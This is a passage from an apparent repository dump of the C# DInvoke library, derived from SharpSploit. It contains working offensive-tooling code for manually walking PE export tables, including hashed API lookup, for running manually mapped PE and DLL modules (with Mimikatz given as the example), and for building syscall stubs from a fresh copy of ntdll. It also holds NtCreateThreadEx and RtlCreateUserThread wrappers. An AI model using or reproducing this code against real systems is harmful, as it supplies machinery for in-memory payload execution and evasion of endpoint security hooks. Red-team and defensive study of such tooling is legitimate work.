StringComparison.OrdinalIgnoreCase))\r\n                    {\r\n\r\n                        Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;\r\n                        Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));\r\n                        FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);\r\n\r\n                        if (ResolveForwards == true)\r\n                            // If the export address points to a forward, get the address\r\n                            FunctionPtr = GetForwardAddress(FunctionPtr);\r\n\r\n                        break;\r\n                    }\r\n                }\r\n            }\r\n            catch\r\n            {\r\n                // Catch parser failure\r\n                throw new InvalidOperationException(\"Failed to parse module exports.\");\r\n            }\r\n\r\n            if (FunctionPtr == IntPtr.Zero)\r\n            {\r\n                // Export not found\r\n                throw new MissingMethodException(ExportName + \", export not found.\");\r\n            }\r\n            return FunctionPtr;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Given a module base address, resolve the address of a function by manually walking the module export table.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"ModuleBase\">A pointer to the base address where the module is loaded in the current process.</param>\r\n        /// <param name=\"Ordinal\">The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx).</param>\r\n        /// <returns>IntPtr for the desired function.</returns>\r\n        public static IntPtr GetExportAddress(IntPtr ModuleBase, short Ordinal, bool ResolveForwards = false)\r\n        {\r\n            IntPtr FunctionPtr = IntPtr.Zero;\r\n            try\r\n            {\r\n                // Traverse the PE header in memory\r\n                Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));\r\n                Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));\r\n                Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;\r\n                Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);\r\n                Int64 pExport = 0;\r\n                if (Magic == 0x010b)\r\n                {\r\n                    pExport = OptHeader + 0x60;\r\n                }\r\n                else\r\n                {\r\n                    pExport = OptHeader + 0x70;\r\n                }\r\n\r\n                // Read -> IMAGE_EXPORT_DIRECTORY\r\n                Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);\r\n                Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));\r\n                Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));\r\n                Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));\r\n                Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));\r\n                Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));\r\n                Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));\r\n\r\n                // Loop the array of export name RVA's\r\n                for (int i = 0; i < NumberOfNames; i++)\r\n                {\r\n                    Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;\r\n                    if (FunctionOrdinal == Ordinal)\r\n                    {\r\n                        Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));\r\n                        FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);\r\n\r\n                        if (ResolveForwards == true)\r\n                            // If the export address points to a forward, get the address\r\n                            FunctionPtr = GetForwardAddress(FunctionPtr);\r\n\r\n                        break;\r\n                    }\r\n                }\r\n            }\r\n            catch\r\n            {\r\n                // Catch parser failure\r\n                throw new InvalidOperationException(\"Failed to parse module exports.\");\r\n            }\r\n\r\n            if (FunctionPtr == IntPtr.Zero)\r\n            {\r\n                // Export not found\r\n                throw new MissingMethodException(Ordinal + \", ordinal not found.\");\r\n            }\r\n            return FunctionPtr;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Given a module base address, resolve the address of a function by manually walking the module export table.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"ModuleBase\">A pointer to the base address where the module is loaded in the current process.</param>\r\n        /// <param name=\"FunctionHash\">Hash of the exported procedure.</param>\r\n        /// <param name=\"Key\">64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).</param>\r\n        /// <returns>IntPtr for the desired function.</returns>\r\n        public static IntPtr GetExportAddress(IntPtr ModuleBase, string FunctionHash, long Key, bool ResolveForwards = false)\r\n        {\r\n            IntPtr FunctionPtr = IntPtr.Zero;\r\n            try\r\n            {\r\n                // Traverse the PE header in memory\r\n                Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));\r\n                Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));\r\n                Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;\r\n                Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);\r\n                Int64 pExport = 0;\r\n                if (Magic == 0x010b)\r\n                {\r\n                    pExport = OptHeader + 0x60;\r\n                }\r\n                else\r\n                {\r\n                    pExport = OptHeader + 0x70;\r\n                }\r\n\r\n                // Read -> IMAGE_EXPORT_DIRECTORY\r\n                Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);\r\n                Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));\r\n                Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));\r\n                Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));\r\n                Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));\r\n                Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));\r\n                Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));\r\n\r\n                // Loop the array of export name RVA's\r\n                for (int i = 0; i < NumberOfNames; i++)\r\n                {\r\n                    string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));\r\n                    if (GetAPIHash(FunctionName, Key).Equals(FunctionHash, StringComparison.OrdinalIgnoreCase))\r\n                    {\r\n                        Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;\r\n                        Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));\r\n                        FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);\r\n\r\n                        if (ResolveForwards == true)\r\n                            // If the export address points to a forward, get the address\r\n                            FunctionPtr = GetForwardAddress(FunctionPtr);\r\n\r\n                        break;\r\n                    }\r\n                }\r\n            }\r\n            catch\r\n            {\r\n                // Catch parser failure\r\n                throw new InvalidOperationException(\"Failed to parse module exports.\");\r\n            }\r\n\r\n            if (FunctionPtr == IntPtr.Zero)\r\n            {\r\n                // Export not found\r\n                throw new MissingMethodException(FunctionHash + \", export hash not found.\");\r\n            }\r\n            return FunctionPtr;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Check if an address to an exported function should be resolved to a forward. If so, return the address of the forward.\r\n        /// </summary>\r\n        /// <author>The Wover (@TheRealWover)</author>\r\n        /// <param name=\"ExportAddress\">Function of an exported address, found by parsing a PE file's export table.</param>\r\n        /// <returns>IntPtr for the forward. If the function is not forwarded, return the original pointer.</returns>\r\n        public static IntPtr GetForwardAddress(IntPtr ExportAddress)\r\n        {\r\n            IntPtr FunctionPtr = ExportAddress;\r\n            try\r\n            {\r\n                // Assume it is a forward. If it is not, we will get an error\r\n                string ForwardNames = Marshal.PtrToStringAnsi(FunctionPtr);\r\n                string[] values = ForwardNames.Split('.');\r\n\r\n                string ForwardModuleName = values[0];\r\n                string ForwardExportName = values[1];\r\n\r\n                // Check if it is an API Set mapping\r\n                Dictionary<string, string> ApiSet = GetApiSetMapping();\r\n                string LookupKey = ForwardModuleName.Substring(0, ForwardModuleName.Length - 2) + \".dll\";\r\n                if (ApiSet.ContainsKey(LookupKey))\r\n                    ForwardModuleName = ApiSet[LookupKey];\r\n                else\r\n                    ForwardModuleName = ForwardModuleName + \".dll\";\r\n\r\n                IntPtr hModule = GetPebLdrModuleEntry(ForwardModuleName);\r\n                if (hModule != IntPtr.Zero)\r\n                {\r\n                    FunctionPtr = GetExportAddress(hModule, ForwardExportName);\r\n                }\r\n            }\r\n            catch\r\n            {\r\n                // Do nothing, it was not a forward\r\n            }\r\n            return FunctionPtr;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"ModuleBase\">A pointer to the base address where the module is loaded in the current process.</param>\r\n        /// <param name=\"ExportName\">The name of the export to search for (e.g. \"NtAlertResumeThread\").</param>\r\n        /// <returns>IntPtr for the desired function.</returns>\r\n        public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, string ExportName)\r\n        {\r\n            Data.Native.ANSI_STRING aFunc = new Data.Native.ANSI_STRING\r\n            {\r\n                Length = (ushort)ExportName.Length,\r\n                MaximumLength = (ushort)(ExportName.Length + 2),\r\n                Buffer = Marshal.StringToCoTaskMemAnsi(ExportName)\r\n            };\r\n\r\n            IntPtr pAFunc = Marshal.AllocHGlobal(Marshal.SizeOf(aFunc));\r\n            Marshal.StructureToPtr(aFunc, pAFunc, true);\r\n\r\n            IntPtr pFuncAddr = IntPtr.Zero;\r\n            Native.LdrGetProcedureAddress(ModuleBase, pAFunc, IntPtr.Zero, ref pFuncAddr);\r\n\r\n            Marshal.FreeHGlobal(pAFunc);\r\n\r\n            return pFuncAddr;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"ModuleBase\">A pointer to the base address where the module is loaded in the current process.</param>\r\n        /// <param name=\"Ordinal\">The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx).</param>\r\n        /// <returns>IntPtr for the desired function.</returns>\r\n        public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, short Ordinal)\r\n        {\r\n            IntPtr pFuncAddr = IntPtr.Zero;\r\n            IntPtr pOrd = (IntPtr)Ordinal;\r\n\r\n            Native.LdrGetProcedureAddress(ModuleBase, IntPtr.Zero, pOrd, ref pFuncAddr);\r\n\r\n            return pFuncAddr;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Retrieve PE header information from the module base pointer.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"pModule\">Pointer to the module base.</param>\r\n        /// <returns>PE.PE_META_DATA</returns>\r\n        public static Data.PE.PE_META_DATA GetPeMetaData(IntPtr pModule)\r\n        {\r\n            Data.PE.PE_META_DATA PeMetaData = new Data.PE.PE_META_DATA();\r\n            try\r\n            {\r\n                UInt32 e_lfanew = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + 0x3c));\r\n                PeMetaData.Pe = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + e_lfanew));\r\n                // Validate PE signature\r\n                if (PeMetaData.Pe != 0x4550)\r\n                {\r\n                    throw new InvalidOperationException(\"Invalid PE signature.\");\r\n                }\r\n                PeMetaData.ImageFileHeader = (Data.PE.IMAGE_FILE_HEADER)Marshal.PtrToStructure((IntPtr)((UInt64)pModule + e_lfanew + 0x4), typeof(Data.PE.IMAGE_FILE_HEADER));\r\n                IntPtr OptHeader = (IntPtr)((UInt64)pModule + e_lfanew + 0x18);\r\n                UInt16 PEArch = (UInt16)Marshal.ReadInt16(OptHeader);\r\n                // Validate PE arch\r\n                if (PEArch == 0x010b) // Image is x32\r\n                {\r\n                    PeMetaData.Is32Bit = true;\r\n                    PeMetaData.OptHeader32 = (Data.PE.IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure(OptHeader, typeof(Data.PE.IMAGE_OPTIONAL_HEADER32));\r\n                }\r\n                else if (PEArch == 0x020b) // Image is x64\r\n                {\r\n                    PeMetaData.Is32Bit = false;\r\n                    PeMetaData.OptHeader64 = (Data.PE.IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(OptHeader, typeof(Data.PE.IMAGE_OPTIONAL_HEADER64));\r\n                }\r\n                else\r\n                {\r\n                    throw new InvalidOperationException(\"Invalid magic value (PE32/PE32+).\");\r\n                }\r\n                // Read sections\r\n                Data.PE.IMAGE_SECTION_HEADER[] SectionArray = new Data.PE.IMAGE_SECTION_HEADER[PeMetaData.ImageFileHeader.NumberOfSections];\r\n                for (int i = 0; i < PeMetaData.ImageFileHeader.NumberOfSections; i++)\r\n                {\r\n                    IntPtr SectionPtr = (IntPtr)((UInt64)OptHeader + PeMetaData.ImageFileHeader.SizeOfOptionalHeader + (UInt32)(i * 0x28));\r\n                    SectionArray[i] = (Data.PE.IMAGE_SECTION_HEADER)Marshal.PtrToStructure(SectionPtr, typeof(Data.PE.IMAGE_SECTION_HEADER));\r\n                }\r\n                PeMetaData.Sections = SectionArray;\r\n            }\r\n            catch\r\n            {\r\n                throw new InvalidOperationException(\"Invalid module base specified.\");\r\n            }\r\n            return PeMetaData;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Resolve host DLL for API Set DLL.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <returns>Dictionary, a combination of Key:APISetDLL and Val:HostDLL.</returns>\r\n        public static Dictionary<string, string> GetApiSetMapping()\r\n        {\r\n            Data.Native.PROCESS_BASIC_INFORMATION pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1));\r\n            UInt32 ApiSetMapOffset = IntPtr.Size == 4 ? (UInt32)0x38 : 0x68;\r\n\r\n            // Create mapping dictionary\r\n            Dictionary<string, string> ApiSetDict = new Dictionary<string, string>();\r\n\r\n            IntPtr pApiSetNamespace = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + ApiSetMapOffset));\r\n            Data.PE.ApiSetNamespace Namespace = (Data.PE.ApiSetNamespace)Marshal.PtrToStructure(pApiSetNamespace, typeof(Data.PE.ApiSetNamespace));\r\n            for (var i = 0; i < Namespace.Count; i++)\r\n            {\r\n                Data.PE.ApiSetNamespaceEntry SetEntry = new Data.PE.ApiSetNamespaceEntry();\r\n                SetEntry = (Data.PE.ApiSetNamespaceEntry)Marshal.PtrToStructure((IntPtr)((UInt64)pApiSetNamespace + (UInt64)Namespace.EntryOffset + (UInt64)(i * Marshal.SizeOf(SetEntry))), typeof(Data.PE.ApiSetNamespaceEntry));\r\n                string ApiSetEntryName = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.NameOffset), SetEntry.NameLength / 2);\r\n                string ApiSetEntryKey = ApiSetEntryName.Substring(0, ApiSetEntryName.Length - 2) + \".dll\"; // Remove the patch number and add .dll\r\n\r\n                Data.PE.ApiSetValueEntry SetValue = new Data.PE.ApiSetValueEntry();\r\n                SetValue = (Data.PE.ApiSetValueEntry)Marshal.PtrToStructure((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.ValueOffset), typeof(Data.PE.ApiSetValueEntry));\r\n                string ApiSetValue = string.Empty;\r\n                if (SetValue.ValueCount != 0)\r\n                {\r\n                    ApiSetValue = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetValue.ValueOffset), SetValue.ValueCount / 2);\r\n                }\r\n\r\n                // Add pair to dict\r\n                ApiSetDict.Add(ApiSetEntryKey, ApiSetValue);\r\n            }\r\n\r\n            // Return dict\r\n            return ApiSetDict;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Call a manually mapped PE by its EntryPoint.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"PEINFO\">Module meta data struct (PE.PE_META_DATA).</param>\r\n        /// <param name=\"ModuleMemoryBase\">Base address of the module in memory.</param>\r\n        /// <returns>void</returns>\r\n        public static void CallMappedPEModule(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)\r\n        {\r\n            // Call module by EntryPoint (eg Mimikatz.exe)\r\n            IntPtr hRemoteThread = IntPtr.Zero;\r\n            IntPtr lpStartAddress = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) :\r\n                                                     (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint);\r\n\r\n            Native.NtCreateThreadEx(\r\n                ref hRemoteThread,\r\n                Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL,\r\n                IntPtr.Zero, (IntPtr)(-1),\r\n                lpStartAddress, IntPtr.Zero,\r\n                false, 0, 0, 0, IntPtr.Zero\r\n            );\r\n        }\r\n\r\n        /// <summary>\r\n        /// Call a manually mapped DLL by DllMain -> DLL_PROCESS_ATTACH.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"PEINFO\">Module meta data struct (PE.PE_META_DATA).</param>\r\n        /// <param name=\"ModuleMemoryBase\">Base address of the module in memory.</param>\r\n        /// <returns>void</returns>\r\n        public static void CallMappedDLLModule(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)\r\n        {\r\n            IntPtr lpEntryPoint = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) :\r\n                                                   (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint);\r\n\r\n            Data.PE.DllMain fDllMain = (Data.PE.DllMain)Marshal.GetDelegateForFunctionPointer(lpEntryPoint, typeof(Data.PE.DllMain));\r\n            bool CallRes = fDllMain(ModuleMemoryBase, Data.PE.DLL_PROCESS_ATTACH, IntPtr.Zero);\r\n            if (!CallRes)\r\n            {\r\n                throw new InvalidOperationException(\"Failed to call DllMain -> DLL_PROCESS_ATTACH\");\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// Call a manually mapped DLL by Export.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"PEINFO\">Module meta data struct (PE.PE_META_DATA).</param>\r\n        /// <param name=\"ModuleMemoryBase\">Base address of the module in memory.</param>\r\n        /// <param name=\"ExportName\">The name of the export to search for (e.g. \"NtAlertResumeThread\").</param>\r\n        /// <param name=\"FunctionDelegateType\">Prototype for the function, represented as a Delegate object.</param>\r\n        /// <param name=\"Parameters\">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>\r\n        /// <param name=\"CallEntry\">Specify whether to invoke the module's entry point.</param>\r\n        /// <returns>void</returns>\r\n        public static object CallMappedDLLModuleExport(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, string ExportName, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true)\r\n        {\r\n            // Call entry point if user has specified\r\n            if (CallEntry)\r\n            {\r\n                CallMappedDLLModule(PEINFO, ModuleMemoryBase);\r\n            }\r\n\r\n            // Get export pointer\r\n            IntPtr pFunc = GetExportAddress(ModuleMemoryBase, ExportName);\r\n\r\n            // Call export\r\n            return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Call a manually mapped DLL by Export.\r\n        /// </summary>\r\n        /// <author>The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"PEINFO\">Module meta data struct (PE.PE_META_DATA).</param>\r\n        /// <param name=\"ModuleMemoryBase\">Base address of the module in memory.</param>\r\n        /// <param name=\"Ordinal\">The number of the ordinal to search for (e.g. 0x07).</param>\r\n        /// <param name=\"FunctionDelegateType\">Prototype for the function, represented as a Delegate object.</param>\r\n        /// <param name=\"Parameters\">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>\r\n        /// <param name=\"CallEntry\">Specify whether to invoke the module's entry point.</param>\r\n        /// <returns>void</returns>\r\n        public static object CallMappedDLLModuleExport(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, short Ordinal, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true)\r\n        {\r\n            // Call entry point if user has specified\r\n            if (CallEntry)\r\n            {\r\n                CallMappedDLLModule(PEINFO, ModuleMemoryBase);\r\n            }\r\n\r\n            // Get export pointer\r\n            IntPtr pFunc = GetExportAddress(ModuleMemoryBase, Ordinal);\r\n\r\n            // Call export\r\n            return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Call a manually mapped DLL by Export.\r\n        /// </summary>\r\n        /// <author>The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"PEINFO\">Module meta data struct (PE.PE_META_DATA).</param>\r\n        /// <param name=\"ModuleMemoryBase\">Base address of the module in memory.</param>\r\n        /// <param name=\"FunctionHash\">Hash of the exported procedure.</param>\r\n        /// <param name=\"Key\">64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).</param>\r\n        /// <param name=\"FunctionDelegateType\">Prototype for the function, represented as a Delegate object.</param>\r\n        /// <param name=\"Parameters\">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>\r\n        /// <param name=\"CallEntry\">Specify whether to invoke the module's entry point.</param>\r\n        /// <returns>void</returns>\r\n        public static object CallMappedDLLModuleExport(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, string FunctionHash, long Key, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true)\r\n        {\r\n            // Call entry point if user has specified\r\n            if (CallEntry)\r\n            {\r\n                CallMappedDLLModule(PEINFO, ModuleMemoryBase);\r\n            }\r\n\r\n            // Get export pointer\r\n            IntPtr pFunc = GetExportAddress(ModuleMemoryBase, FunctionHash, Key);\r\n\r\n            // Call export\r\n            return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Read ntdll from disk, find/copy the appropriate syscall stub and free ntdll.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"FunctionName\">The name of the function to search for (e.g. \"NtAlertResumeThread\").</param>\r\n        /// <returns>IntPtr, Syscall stub</returns>\r\n        public static IntPtr GetSyscallStub(string FunctionName)\r\n        {\r\n            // Verify process & architecture\r\n            bool isWOW64 = Native.NtQueryInformationProcessWow64Information((IntPtr)(-1));\r\n            if (IntPtr.Size == 4 && isWOW64)\r\n            {\r\n                throw new InvalidOperationException(\"Generating Syscall stubs is not supported for WOW64.\");\r\n            }\r\n\r\n            // Find the path for ntdll by looking at the currently loaded module\r\n            string NtdllPath = string.Empty;\r\n            ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;\r\n            foreach (ProcessModule Mod in ProcModules)\r\n            {\r\n                if (Mod.FileName.EndsWith(\"ntdll.dll\", StringComparison.OrdinalIgnoreCase))\r\n                {\r\n                    NtdllPath = Mod.FileName;\r\n                }\r\n            }\r\n\r\n            // Alloc module into memory for parsing\r\n            IntPtr pModule = ManualMap.Map.AllocateFileToMemory(NtdllPath);\r\n\r\n            // Fetch PE meta data\r\n            Data.PE.PE_META_DATA PEINFO = GetPeMetaData(pModule);\r\n\r\n            // Alloc PE image memory -> RW\r\n            IntPtr BaseAddress = IntPtr.Zero;\r\n            IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;\r\n            UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders;\r\n\r\n            IntPtr pImage = Native.NtAllocateVirtualMemory(\r\n                (IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,\r\n                Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE,\r\n                Data.Win32.WinNT.PAGE_READWRITE\r\n            );\r\n\r\n            // Write PE header to memory\r\n            UInt32 BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders);\r\n\r\n            // Write sections to memory\r\n            foreach (Data.PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections)\r\n            {\r\n                // Calculate offsets\r\n                IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress);\r\n                IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData);\r\n\r\n                // Write data\r\n                BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData);\r\n                if (BytesWritten != ish.SizeOfRawData)\r\n                {\r\n                    throw new InvalidOperationException(\"Failed to write to memory.\");\r\n                }\r\n            }\r\n\r\n            // Get Ptr to function\r\n            IntPtr pFunc = GetExportAddress(pImage, FunctionName);\r\n            if (pFunc == IntPtr.Zero)\r\n            {\r\n                throw new InvalidOperationException(\"Failed to resolve ntdll export.\");\r\n            }\r\n\r\n            // Alloc memory for call stub\r\n            BaseAddress = IntPtr.Zero;\r\n            RegionSize = (IntPtr)0x50;\r\n            IntPtr pCallStub = Native.NtAllocateVirtualMemory(\r\n                (IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,\r\n                Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE,\r\n                Data.Win32.WinNT.PAGE_READWRITE\r\n            );\r\n\r\n            // Write call stub\r\n            BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pCallStub, pFunc, 0x50);\r\n            if (BytesWritten != 0x50)\r\n            {\r\n                throw new InvalidOperationException(\"Failed to write to memory.\");\r\n            }\r\n\r\n            // Change call stub permissions\r\n            Native.NtProtectVirtualMemory((IntPtr)(-1), ref pCallStub, ref RegionSize, Data.Win32.WinNT.PAGE_EXECUTE_READ);\r\n\r\n            // Free temporary allocations\r\n            Marshal.FreeHGlobal(pModule);\r\n            RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;\r\n\r\n            Native.NtFreeVirtualMemory((IntPtr)(-1), ref pImage, ref RegionSize, Data.Win32.Kernel32.MEM_RELEASE);\r\n\r\n            return pCallStub;\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "DInvoke.DynamicInvoke/Native.cs",
    "content": "﻿// Author: Ryan Cobb (@cobbr_io), The Wover (@TheRealWover)\r\n// Project: SharpSploit (https://github.com/cobbr/SharpSploit)\r\n// License: BSD 3-Clause\r\n\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\nusing DInvoke.DynamicInvoke;\r\nusing Data = DInvoke.Data;\r\n\r\nnamespace DInvoke.DynamicInvoke\r\n{\r\n    /// <summary>\r\n    /// Contains function prototypes and wrapper functions for dynamically invoking NT API Calls.\r\n    /// </summary>\r\n    public class Native\r\n    {\r\n        public static Data.Native.NTSTATUS NtCreateThreadEx(\r\n            ref IntPtr threadHandle,\r\n            Data.Win32.WinNT.ACCESS_MASK desiredAccess,\r\n            IntPtr objectAttributes,\r\n            IntPtr processHandle,\r\n            IntPtr startAddress,\r\n            IntPtr parameter,\r\n            bool createSuspended,\r\n            int stackZeroBits,\r\n            int sizeOfStack,\r\n            int maximumStackSize,\r\n            IntPtr attributeList)\r\n        {\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                threadHandle, desiredAccess, objectAttributes, processHandle, startAddress, parameter, createSuspended, stackZeroBits,\r\n                sizeOfStack, maximumStackSize, attributeList\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"NtCreateThreadEx\",\r\n                typeof(DELEGATES.NtCreateThreadEx), ref funcargs);\r\n\r\n            // Update the modified variables\r\n            threadHandle = (IntPtr)funcargs[0];\r\n\r\n            return retValue;\r\n        }\r\n\r\n        public static Data.Native.NTSTATUS RtlCreateUserThread(\r\n                IntPtr Process,\r\n                IntPtr ThreadSecurityDescriptor,\r\n                bool CreateSuspended,\r\n                IntPtr ZeroBits,\r\n                IntPtr MaximumStackSize,\r\n                IntPtr CommittedStackSize,\r\n                IntPtr StartAddress,\r\n                IntPtr Parameter,\r\n                ref IntPtr Thread,\r\n                IntPtr ClientId)\r\n        {\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                Process, ThreadSecurityDescriptor, CreateSuspended, ZeroBits, \r\n                MaximumStackSize, CommittedStackSize, StartAddress, Parameter,\r\n                Thread, ClientId\r\n      